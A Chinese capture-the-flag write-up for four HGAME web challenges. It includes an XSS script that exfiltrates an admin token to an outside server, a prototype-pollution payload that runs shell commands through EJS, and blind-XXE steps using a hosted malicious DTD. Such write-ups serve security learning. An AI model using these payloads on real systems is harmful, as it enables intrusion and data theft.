v2board
题目描述:请尝试获取Admin用户的订阅链接,flag格式为hgame{admin用户订阅链接中的token值}。
Designer
xss注入的题
首先要拿到flag就要求注册的时候post的数据为admin,而且还要是本地的ip,修改xff无果
给的源码里的share的部分,就是在本地访问preview这个路由里的内容
之后在preview里,过滤了一些xss的关键数据,从这里也能看出这道题就是利用xss,让本地访问的那个机器人去访问register路由,然后把得到的内容外带出来。
接下来就是找从哪里进行xss。
在preview.ejs中
使用了<%-,这个和<%=的区别就是不会进行html的实体编码,也就可以进行xss的操作
这里进行过滤的时候只将值清空了,但是并没有改变键,所以可以这样进行xss
接下来就是让其访问register路由了
var xhr = new XMLHttpRequest();
xhr.open("post",'http://127.0.0.1:9090/user/register',false);
xhr.setRequestHeader("Content-type","application/x-www-form-urlencoded");
data = {"username":"admin"};
xhr.send(JSON.stringify(data));
h = String(xhr.responseText);
url = "http://xxx:5001?token="+h;
var xhr2 = new XMLHttpRequest();
xhr2.open("get",url,false);
xhr2.send('token');
放到服务器上然后让题目本地的机器人去访问服务器上的这个文件,就会执行里面的js代码,访问本地的9090端口下的/user/register,然后把返回的内容以参数的形式发送到服务器上
作为键或者作为值都行,因为并没有被过滤的关键字
Gopher Shop
题目描述:今天是大年初二!兔兔迈着开心的步伐走到了一教,据说每逢寒假HGAME期间,300b就会有Vidar大商场,每个进入商场的同学都可以领取10个Vidar币。兔兔在一家叫Gopher Shop的商店面前停下了脚步,Gopher?听说协会的Web手们都会一点Go,也许这是协会学长开的吧。望着橱窗里的商品,攥着手里的10个Vidar币,兔兔走进了商店...
考察go语言uint类型的整数溢出问题
uint类型在64位机器上的最大值为18446744073709551615,最小值为0,超出的部分就会溢出
购买部分逻辑如下:
这里uint(number)*price就有可能导致溢出的产生
若购买1844674407370955162个苹果,与价格相乘后会变为18446744073709551620,导致溢出变为4(0,1,2,3,4实际上是溢出了五)
这时4小于我们原有的10硬币,就可以买到1844674407370955162个苹果,然后再卖出就可以有钱买flag了(卖的时候也要注意溢出
钱不够就多买几次再卖出去,这里前端显示的内容和实际的数量不一样,因为前端把后边的部分舍了。
Tell Me
Just tell me your thoughts
xxe的题目
标准的无回显xxe
在自己服务器上搭个恶意的dtd文件
然后在提交的时候外部引入这个文件
这里是直接报错把提交的内容显示出来了,如果没显示就在服务器上监听一下端口就行。
Shared Diary
ek1ng给协会成员写了一个在线共享日记本,不论是谁只要知道密码,都可以在上面记录自己的小秘密。不过好像他的js学的并不好导致无意中引入了漏洞,看来js也有很多安全问题。
看见js第一时间想到的就应该是原型链污染
merge函数,存在原型链污染
但是这里__proto__被过滤了,可以使用.constructor.prototype来替代
这里表示能接收json类型的参数
这里我们先把角色污染为admin试一下
登陆成功,但是还是没有flag,根据给的源码可以猜测这里应该还需要利用一个ejs的漏洞才能拿到flag
两种方式,一种是ejs的模板注入,可以插⼊ <%- %> 标签来执⾏任意js,能够直接完成RCE。
还有一种就是借助原型链污染实现ejs的rce
{"constructor":{"prototype":{"role":"admin","client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('cat /flag');"}},"username":"1"
参考文章:
https://www.anquanke.com/post/id/236354
https://blog.vvbbnn00.cn/archives/hgame2023week4-bu-fen-writeup